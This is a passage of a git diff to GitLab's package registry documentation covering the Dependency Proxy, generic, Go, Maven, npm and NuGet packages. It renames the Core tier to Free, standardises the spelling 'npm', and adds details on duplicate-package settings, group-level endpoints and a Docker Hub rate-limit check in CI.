${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/node:latest - ... - ``` +You can also use [custom CI/CD variables](../../../ci/variables/README.md#custom-cicd-variables) to store and access your personal access token or other valid credentials. ### Store a Docker image in Dependency Proxy cache @@ -284,3 +225,19 @@ RateLimit-Remaining: 98;w=21600 ``` This example shows the total limit of 100 pulls in six hours, with 98 pulls remaining. + +#### Check the rate limit in a CI/CD job + +This example shows a GitLab CI/CD job that uses an image with `jq` and `curl` installed: + +```yaml +hub_docker_quota_check: + stage: build + image: alpine:latest + tags: + - <optional_runner_tag> + before_script: apk add curl jq + script: + - | + TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token) && curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1 +``` diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md index 82c72481984..73b84c04b6d 100644 --- a/doc/user/packages/generic_packages/index.md +++ b/doc/user/packages/generic_packages/index.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Generic Packages Repository **(CORE)** +# GitLab Generic Packages Repository **(FREE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4209) in GitLab 13.5. > - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. @@ -48,7 +48,8 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name | `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). | `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expression. -| `file_name` | string | yes | The file name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). +| `file_name` | string | yes | The filename. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). +| `status` | string | no | The package status. It can be `default` (default) or `hidden`. Hidden packages do not appear in the UI or [package API list endpoints](../../../api/packages.md). Provide the file context in the request body. @@ -87,7 +88,7 @@ GET /projects/:id/packages/generic/:package_name/:package_version/:file_name | `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. | | `package_version` | string | yes | The package version. | -| `file_name` | string | yes | The file name. | +| `file_name` | string | yes | The filename. | The file context is served in the response body. The response content type is `application/octet-stream`. diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md index 87cd4a4a9a6..c9397f8d9f6 100644 --- a/doc/user/packages/go_proxy/index.md +++ b/doc/user/packages/go_proxy/index.md @@ -4,14 +4,14 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Go proxy for GitLab +# Go proxy for GitLab **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27376) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.1. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27376) in GitLab Premium 13.1. > - It's deployed behind a feature flag, disabled by default. > - It's disabled for GitLab.com. > - It's not recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-the-go-proxy). -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. With the Go proxy for GitLab, every project in GitLab can be fetched with the [Go proxy protocol](https://proxy.golang.org/). diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md index 9da14842845..d2bd9ef5646 100644 --- a/doc/user/packages/index.md +++ b/doc/user/packages/index.md @@ -20,7 +20,7 @@ The Package Registry supports the following formats: <tr><td><a href="https://docs.gitlab.com/ee/user/packages/conan_repository/index.html">Conan</a></td><td>12.6+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/go_proxy/index.html">Go</a></td><td>13.1+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/maven_repository/index.html">Maven</a></td><td>11.3+</td></tr> -<tr><td><a href="https://docs.gitlab.com/ee/user/packages/npm_registry/index.html">NPM</a></td><td>11.7+</td></tr> +<tr><td><a href="https://docs.gitlab.com/ee/user/packages/npm_registry/index.html">npm</a></td><td>11.7+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/nuget_repository/index.html">NuGet</a></td><td>12.8+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/pypi_repository/index.html">PyPI</a></td><td>12.10+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/generic_packages/index.html">Generic packages</a></td><td>13.5+</td></tr> @@ -35,6 +35,8 @@ You can also use the [API](../../api/packages.md) to administer the Package Regi The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) guides you through the process. +<!-- vale gitlab.Spelling = NO --> + | Format | Status | | ------ | ------ | | Chef | [#36889](https://gitlab.com/gitlab-org/gitlab/-/issues/36889) | @@ -51,6 +53,7 @@ guides you through the process. | Terraform | [WIP: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) | | Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) | +<!-- vale gitlab.Spelling = YES --> ## Container Registry The GitLab [Container Registry](container_registry/index.md) is a secure and private registry for container images. It's built on open source software and completely integrated within GitLab. Use GitLab CI/CD to create and publish images. Use the GitLab [API](../../api/container_registry.md) to manage the registry across groups and projects. diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index e0f5a400977..828eec812fa 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -4,10 +4,10 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Maven packages in the Package Repository +# Maven packages in the Package Repository **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5811) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5811) in GitLab Premium 11.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. Publish [Maven](https://maven.apache.org) artifacts in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency. @@ -186,10 +186,11 @@ published to the GitLab Package Registry. ## Authenticate to the Package Registry with Maven -To authenticate to the Package Registry, you need either a personal access token or deploy token. +To authenticate to the Package Registry, you need one of the following: -- If you use a [personal access token](../../../user/profile/personal_access_tokens.md), set the scope to `api`. -- If you use a [deploy token](../../project/deploy_tokens/index.md), set the scope to `read_package_registry`, `write_package_registry`, or both. +- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api`. +- A [deploy token](../../project/deploy_tokens/index.md) with the scope set to `read_package_registry`, `write_package_registry`, or both. +- A [CI_JOB_TOKEN](#authenticate-with-a-ci-job-token-in-maven). ### Authenticate with a personal access token in Maven @@ -219,7 +220,7 @@ The `name` must be `Private-Token`. ### Authenticate with a deploy token in Maven > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213566) deploy token authentication in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. To use a deploy token, add this section to your [`settings.xml`](https://maven.apache.org/settings.html) file. @@ -354,12 +355,13 @@ repositories { To use the GitLab endpoint for Maven packages, choose an option: -- **Project-level**: Use when you have few Maven packages and they are not in - the same GitLab group. -- **Group-level**: Use when you have many Maven packages in the same GitLab - group. -- **Instance-level**: Use when you have many Maven packages in different - GitLab groups or in their own namespace. +- **Project-level**: To publish Maven packages to a project, use a project-level endpoint. + To install Maven packages, use a project-level endpoint when you have few Maven packages + and they are not in the same GitLab group. +- **Group-level**: Use a group-level endpoint when you want to install packages from + many different projects in the same GitLab group. +- **Instance-level**: Use an instance-level endpoint when you want to install many + packages from different GitLab groups or in their own namespace. The option you choose determines the settings you add to your `pom.xml` file. @@ -414,7 +416,7 @@ repositories { ### Group-level Maven endpoint > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8798) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.7. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. If you rely on many packages, it might be inefficient to include the `repository` section with a unique URL for each package. Instead, you can use the group-level endpoint for @@ -462,7 +464,7 @@ repositories { ``` - For the `id`, use what you [defined in `settings.xml`](#authenticate-to-the-package-registry-with-maven). -- For `my-group`, use your group name. +- For `GROUP_ID`, use your group ID, which you can view on your group's home page. - For `PROJECT_ID`, use your project ID, which you can view on your project's home page. - Replace `gitlab.example.com` with your domain name. - For retrieving artifacts, use either the @@ -472,7 +474,7 @@ repositories { ### Instance-level Maven endpoint > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8274) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.7. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. If you rely on many packages, it might be inefficient to include the `repository` section with a unique URL for each package. Instead, you can use the instance-level endpoint for @@ -533,7 +535,7 @@ repositories { After you have set up the [remote and authentication](#authenticate-to-the-package-registry-with-maven) and [configured your project](#use-the-gitlab-endpoint-for-maven-packages), -publish a Maven artifact from your project. +publish a Maven package to your project. ### Publish by using Maven @@ -604,11 +606,35 @@ To publish a package by using Gradle: Now navigate to your project's **Packages & Registries** page and view the published artifacts. +### Publishing a package with the same name or version + +When you publish a package with the same name or version as an existing package, +the existing package is overwritten. + +#### Do not allow duplicate Maven packages + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/296895) in GitLab Free 13.9. + +To prevent users from publishing duplicate Maven packages, you can use the [GraphQl API](../../../api/graphql/reference/index.md#packagesettings) or the UI. + +In the UI: + +1. For your group, go to **Settings > Packages & Registries**. +1. Expand the **Package Registry** section. +1. Turn on the **Reject duplicates** toggle. +1. Optional. To allow some duplicate packages, in the **Exceptions** box, enter a regex pattern that matches the names of packages you want to allow. + +Your changes are automatically saved. + ## Install a package To install a package from the GitLab Package Registry, you must configure the [remote and authenticate](#authenticate-to-the-package-registry-with-maven). -When this is completed, there are two ways to install a package. +When this is completed, you can install a package from a project, +group, or namespace. + +If multiple packages have the same name and version, when you install +a package, the most recently-published package is retrieved. ### Use Maven with `mvn install` @@ -706,7 +732,7 @@ You can create a new package each time the `master` branch is updated. ``` 1. Make sure your `pom.xml` file includes the following. - You can either let Maven use the CI environment variables, as shown in this example, + You can either let Maven use the [predefined CI/CD variables](../../../ci/variables/predefined_variables.md), as shown in this example, or you can hard code your server's hostname and project's ID. ```xml @@ -745,7 +771,7 @@ The next time the `deploy` job runs, it copies `ci_settings.xml` to the user's home location. In this example: - The user is `root`, because the job runs in a Docker container. -- Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-environment-variables). +- Maven uses the configured CI/CD variables. ### Create Maven packages with GitLab CI/CD by using Gradle diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index c16fea1d00a..b1075e19b7b 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -4,37 +4,37 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# NPM packages in the Package Registry +# npm packages in the Package Registry **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.7. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5934) in GitLab Premium 11.7. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -Publish NPM packages in your project's Package Registry. Then install the +Publish npm packages in your project's Package Registry. Then install the packages whenever you need to use them as a dependency. Only [scoped](https://docs.npmjs.com/misc/scope/) packages are supported. -## Build an NPM package +## Build an npm package -This section covers how to install NPM or Yarn and build a package for your +This section covers how to install npm or Yarn and build a package for your JavaScript project. -If you already use NPM and know how to build your own packages, go to +If you already use npm and know how to build your own packages, go to the [next section](#authenticate-to-the-package-registry). -### Install NPM +### Install npm -Install Node.js and NPM in your local development environment by following +Install Node.js and npm in your local development environment by following the instructions at [npmjs.com](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm/). -When installation is complete, verify you can use NPM in your terminal by +When installation is complete, verify you can use npm in your terminal by running: ```shell npm --version ``` -The NPM version is shown in the output: +The npm version is shown in the output: ```plaintext 6.10.3 @@ -42,7 +42,7 @@ The NPM version is shown in the output: ### Install Yarn -As an alternative to NPM, you can install Yarn in your local environment by following the +As an alternative to npm, you can install Yarn in your local environment by following the instructions at [yarnpkg.com](https://classic.yarnpkg.com/en/docs/install). When installation is complete, verify you can use Yarn in your terminal by @@ -81,13 +81,13 @@ To create a project: A `package.json` file is created. -## Use the GitLab endpoint for NPM packages +## Use the GitLab endpoint for npm packages -To use the GitLab endpoint for NPM packages, choose an option: +To use the GitLab endpoint for npm packages, choose an option: -- **Project-level**: Use when you have few NPM packages and they are not in +- **Project-level**: Use when you have few npm packages and they are not in the same GitLab group. -- **Instance-level**: Use when you have many NPM packages in different +- **Instance-level**: Use when you have many npm packages in different GitLab groups or in their own namespace. Be sure to comply with the [package naming convention](#package-naming-convention). Some features such as [publishing](#publish-an-npm-package) a package is only available on the project-level endpoint. @@ -103,17 +103,17 @@ To authenticate, use one of the following: (required for two-factor authentication (2FA)), with the scope set to `api`. - A [deploy token](../../project/deploy_tokens/index.md), with the scope set to `read_package_registry`, `write_package_registry`, or both. - It's not recommended, but you can use [OAuth tokens](../../../api/oauth2.md#resource-owner-password-credentials-flow). - Standard OAuth tokens cannot authenticate to the GitLab NPM Registry. You must use a personal access token with OAuth headers. + Standard OAuth tokens cannot authenticate to the GitLab npm Registry. You must use a personal access token with OAuth headers. - A [CI job token](#authenticate-with-a-ci-job-token). -- Your NPM package name must be in the format of [@scope/package-name](#package-naming-convention). It must match exactly, including the case. +- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). It must match exactly, including the case. ### Authenticate with a personal access token or deploy token To authenticate with the Package Registry, you need a [personal access token](../../profile/personal_access_tokens.md) or [deploy token](../../project/deploy_tokens/index.md). -#### Project-level NPM endpoint +#### Project-level npm endpoint -To use the [project-level](#use-the-gitlab-endpoint-for-npm-packages) NPM endpoint, set your NPM configuration: +To use the [project-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpoint, set your npm configuration: ```shell # Set URL for your scoped packages. @@ -129,14 +129,14 @@ npm config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/ - `<your_token>` is your personal access token or deploy token. - Replace `gitlab.example.com` with your domain name. -You should now be able to publish and install NPM packages in your project. +You should now be able to publish and install npm packages in your project. If you encounter an error with [Yarn](https://classic.yarnpkg.com/en/), view [troubleshooting steps](#troubleshooting). -#### Instance-level NPM endpoint +#### Instance-level npm endpoint -To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) NPM endpoint, set your NPM configuration: +To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpoint, set your npm configuration: ```shell # Set URL for your scoped packages. @@ -151,7 +151,7 @@ npm config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_tok - `<your_token>` is your personal access token or deploy token. - Replace `gitlab.example.com` with your domain name. -You should now be able to publish and install NPM packages in your project. +You should now be able to publish and install npm packages in your project. If you encounter an error with [Yarn](https://classic.yarnpkg.com/en/), view [troubleshooting steps](#troubleshooting). @@ -159,23 +159,23 @@ If you encounter an error with [Yarn](https://classic.yarnpkg.com/en/), view ### Authenticate with a CI job token > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9104) in GitLab Premium 12.5. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -If you're using NPM with GitLab CI/CD, a CI job token can be used instead of a personal access token or deploy token. +If you're using npm with GitLab CI/CD, a CI job token can be used instead of a personal access token or deploy token. The token inherits the permissions of the user that generates the pipeline. -#### Project-level NPM endpoint +#### Project-level npm endpoint -To use the [project-level](#use-the-gitlab-endpoint-for-npm-packages) NPM endpoint, add a corresponding section to your `.npmrc` file: +To use the [project-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpoint, add a corresponding section to your `.npmrc` file: ```ini @foo:registry=https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/ //gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=${CI_JOB_TOKEN} ``` -#### Instance-level NPM endpoint +#### Instance-level npm endpoint -To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) NPM endpoint, add a corresponding section to your `.npmrc` file: +To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpoint, add a corresponding section to your `.npmrc` file: ```ini @foo:registry=https://gitlab.example.com/api/v4/packages/npm/ @@ -199,12 +199,12 @@ Then, you can run `npm publish` either locally or by using GitLab CI/CD. NPM_TOKEN=<your_token> npm publish ``` -- **GitLab CI/CD:** Set an `NPM_TOKEN` [variable](../../../ci/variables/README.md) +- **GitLab CI/CD:** Set an `NPM_TOKEN` [CI/CD variable](../../../ci/variables/README.md) under your project's **Settings > CI/CD > Variables**. ## Package naming convention -Your NPM package name must be in the format of `@scope/package-name`. +Your npm package name must be in the format of `@scope/package-name`. - The `@scope` is the root namespace of the GitLab project. It must match exactly, including the case. - The `package-name` can be whatever you want. @@ -227,26 +227,28 @@ In GitLab, this regex validates all package names from all package managers: /\A\@?(([\w\-\.\+]*)\/)*([\w\-\.]+)@?(([\w\-\.\+]*)\/)*([\w\-\.]*)\z/ ``` -This regex allows almost all of the characters that NPM allows, with a few exceptions (for example, `~` is not allowed). +This regex allows almost all of the characters that npm allows, with a few exceptions (for example, `~` is not allowed). -The regex also allows for capital letters, while NPM does not. Capital letters are needed because the scope must be +The regex also allows for capital letters, while npm does not. Capital letters are needed because the scope must be identical to the root namespace of the project. WARNING: When you update the path of a user or group, or transfer a subgroup or project, -you must remove any NPM packages first. You cannot update the root namespace -of a project with NPM packages. Make sure you update your `.npmrc` files to follow +you must remove any npm packages first. You cannot update the root namespace +of a project with npm packages. Make sure you update your `.npmrc` files to follow the naming convention and run `npm publish` if necessary. -## Publish an NPM package +## Publish an npm package Prerequisites: - [Authenticate](#authenticate-to-the-package-registry) to the Package Registry. -- Set a [project-level NPM endpoint](#use-the-gitlab-endpoint-for-npm-packages). -- Your NPM package name must be in the format of [@scope/package-name](#package-naming-convention). It must match exactly, including the case. +- Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages). +- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). + It must match exactly, including the case. This is different than the + npm naming convention, but it is required to work with the GitLab Package Registry. -To upload an NPM package to your project, run this command: +To upload an npm package to your project, run this command: ```shell npm publish @@ -257,17 +259,20 @@ To view the package, go to your project's **Packages & Registries**. If you try to publish a package [with a name that already exists](#publishing-packages-with-the-same-name-or-version) within a given scope, you get a `403 Forbidden!` error. -## Publish an NPM package by using CI/CD +## Publish an npm package by using CI/CD Prerequisites: - [Authenticate](#authenticate-to-the-package-registry) to the Package Registry. -- Set a [project-level NPM endpoint](#use-the-gitlab-endpoint-for-npm-packages). +- Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages). +- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). + It must match exactly, including the case. This is different than the + npm naming convention, but it is required to work with the GitLab Package Registry. -To work with NPM commands within [GitLab CI/CD](../../../ci/README.md), you can use +To work with npm commands within [GitLab CI/CD](../../../ci/README.md), you can use `CI_JOB_TOKEN` in place of the personal access token or deploy token in your commands. -An example `.gitlab-ci.yml` file for publishing NPM packages: +An example `.gitlab-ci.yml` file for publishing npm packages: ```yaml image: node:latest @@ -283,7 +288,7 @@ deploy: ``` See the -[Publish NPM packages to the GitLab Package Registry using semantic-release](../../../ci/examples/semantic-release.md) +[Publish npm packages to the GitLab Package Registry using semantic-release](../../../ci/examples/semantic-release.md) step-by-step guide and demo project for a complete example. ## Publishing packages with the same name or version @@ -296,8 +301,9 @@ the same version more than once, even if it has been deleted. ## Install a package -NPM packages are commonly-installed by using the `npm` or `yarn` commands -in a JavaScript project. +npm packages are commonly-installed by using the `npm` or `yarn` commands +in a JavaScript project. You can install a package from the scope of a project, group, +or instance. 1. Set the URL for scoped packages by running: @@ -309,24 +315,24 @@ in a JavaScript project. 1. Ensure [authentication](#authenticate-to-the-package-registry) is configured. -1. In your project, to install a package, run: +1. To install a package in your project, run: ```shell - npm install @my-project-scope/my-package + npm install @my-scope/my-package ``` Or if you're using Yarn: ```shell - yarn add @my-project-scope/my-package + yarn add @my-scope/my-package ``` In [GitLab 12.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/55344), -when an NPM package is not found in the Package Registry, the request is forwarded to [npmjs.com](https://www.npmjs.com/). +when an npm package is not found in the Package Registry, the request is forwarded to [npmjs.com](https://www.npmjs.com/). Administrators can disable this behavior in the [Continuous Integration settings](../../admin_area/settings/continuous_integration.md). -### Install NPM packages from other organizations +### Install npm packages from other organizations You can route package requests to organizations and users outside of GitLab. @@ -343,12 +349,12 @@ and use your organization's URL. The name is case-sensitive and must match the n //gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken= "<your_token>" ``` -### NPM dependencies metadata +### npm dependencies metadata > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11867) in GitLab Premium 12.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -In GitLab 12.6 and later, packages published to the Package Registry expose the following attributes to the NPM client: +In GitLab 12.6 and later, packages published to the Package Registry expose the following attributes to the npm client: - name - version @@ -360,10 +366,10 @@ In GitLab 12.6 and later, packages published to the Package Registry expose the - peerDependencies - deprecated -## Add NPM distribution tags +## Add npm distribution tags > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9425) in GitLab Premium 12.8. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. You can add [distribution tags](https://docs.npmjs.com/cli/dist-tag/) to newly-published packages. Tags are optional and can be assigned to only one package at a time. @@ -384,13 +390,13 @@ npm install @scope/package@my-tag # Install a specific tag You cannot use your `CI_JOB_TOKEN` or deploy token with the `npm dist-tag` commands. View [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/258835) for details. -Due to a bug in NPM 6.9.0, deleting distribution tags fails. Make sure your NPM version is 6.9.1 or later. +Due to a bug in npm 6.9.0, deleting distribution tags fails. Make sure your npm version is 6.9.1 or later. ## Troubleshooting -### Error running Yarn with NPM registry +### Error running Yarn with the Package Registry for npm registry -If you are using [Yarn](https://classic.yarnpkg.com/en/) with the NPM registry, you may get +If you are using [Yarn](https://classic.yarnpkg.com/en/) with the npm registry, you may get an error message like: ```shell @@ -419,7 +425,7 @@ yarn config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages yarn config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_token>" ``` -### `npm publish` targets default NPM registry (`registry.npmjs.org`) +### `npm publish` targets default npm registry (`registry.npmjs.org`) Ensure that your package scope is set consistently in your `package.json` and `.npmrc` files. @@ -430,7 +436,7 @@ should look like: { "name": "@foo/my-package", "version": "1.0.0", - "description": "Example package for GitLab NPM registry", + "description": "Example package for GitLab npm registry", } ``` @@ -442,9 +448,9 @@ And the `.npmrc` file should look like: @foo:registry=https://gitlab.example.com/api/v4/packages/npm/ ``` -### `npm install` returns `Error: Failed to replace env in config: ${NPM_TOKEN}` +### `npm install` returns `Error: Failed to replace env in config: ${npm_TOKEN}` -You do not need a token to run `npm install` unless your project is private. The token is only required to publish. If the `.npmrc` file was checked in with a reference to `$NPM_TOKEN`, you can remove it. If you prefer to leave the reference in, you must set a value prior to running `npm install` or set the value by using [GitLab environment variables](../../../ci/variables/README.md): +You do not need a token to run `npm install` unless your project is private. The token is only required to publish. If the `.npmrc` file was checked in with a reference to `$npm_TOKEN`, you can remove it. If you prefer to leave the reference in, you must set a value prior to running `npm install` or set the value by using [GitLab CI/CD variables](../../../ci/variables/README.md): ```shell NPM_TOKEN=<your_token> npm install @@ -456,7 +462,7 @@ If you get this error, ensure that: - Your token is not expired and has appropriate permissions. - [Your token does not begin with `-`](https://gitlab.com/gitlab-org/gitlab/-/issues/235473). -- A package with the same name doesn't already exist within the given scope. +- A package with the same name or version doesn't already exist within the given scope. - The scoped packages URL includes a trailing slash: - Correct: `//gitlab.example.com/api/v4/packages/npm/` - Incorrect: `//gitlab.example.com/api/v4/packages/npm` diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md index 35172663cc1..101bb810a0e 100644 --- a/doc/user/packages/nuget_repository/index.md +++ b/doc/user/packages/nuget_repository/index.md @@ -4,10 +4,10 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# NuGet packages in the Package Registry +# NuGet packages in the Package Registry **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20050) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.8. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20050) in GitLab Premium 12.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. Publish NuGet packages in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency. @@ -62,11 +62,13 @@ NuGet CLI. ## Use the GitLab endpoint for NuGet Packages +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36423) group-level endpoint in GitLab 13.8. + To use the GitLab endpoint for NuGet Packages, choose an option: - **Project-level**: Use when you have few NuGet packages and they are not in the same GitLab group. -- **Group-level**: Use when you have many NuGet packages in different within the +- **Group-level**: Use when you have many NuGet packages in different projects within the same GitLab group. Some features such as [publishing](#publish-a-nuget-package) a package are only available on the project-level endpoint. @@ -104,6 +106,9 @@ You can now add a new source to NuGet with: #### Project-level endpoint +A project-level endpoint is required to publish NuGet packages to the Package Registry. +A project-level endpoint is also required to install NuGet packages from a project. + To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) NuGet endpoint, add the Package Registry as a source with `nuget`: ```shell @@ -120,6 +125,8 @@ nuget source Add -Name "GitLab" -Source "https://gitlab.example.com/api/v4/proje #### Group-level endpoint +To install a NuGet package from a group, use a group-level endpoint. + To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages) NuGet endpoint, add the Package Registry as a source with `nuget`: ```shell @@ -138,6 +145,9 @@ nuget source Add -Name "GitLab" -Source "https://gitlab.example.com/api/v4/group #### Project-level endpoint +A project-level endpoint is required to publish NuGet packages to the Package Registry. +A project-level endpoint is also required to install NuGet packages from a project. + To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) NuGet endpoint, add the Package Registry as a source with Visual Studio: 1. Open [Visual Studio](https://visualstudio.microsoft.com/vs/). @@ -165,6 +175,8 @@ If you get a warning, ensure that the **Location**, **Username**, and #### Group-level endpoint +To install a package from a group, use a group-level endpoint. + To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages) NuGet endpoint, add the Package Registry as a source with Visual Studio: 1. Open [Visual Studio](https://visualstudio.microsoft.com/vs/). @@ -194,6 +206,9 @@ If you get a warning, ensure that the **Location**, **Username**, and #### Project-level endpoint +A project-level endpoint is required to publish NuGet packages to the Package Registry. +A project-level endpoint is also required to install NuGet packages from a project. + To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) Package Registry as a source for .NET: 1. In the root of your project, create a file named `nuget.config`. @@ -217,6 +232,8 @@ To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) Package #### Group-level endpoint +To install a package from a group, use a group-level endpoint. + To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages) Package Registry as a source for .NET: 1. In the root of your project, create a file named `nuget.config`. @@ -246,7 +263,7 @@ Prerequisite: When publishing packages: -- The Package Registry on GitLab.com can store up to 500 MB of 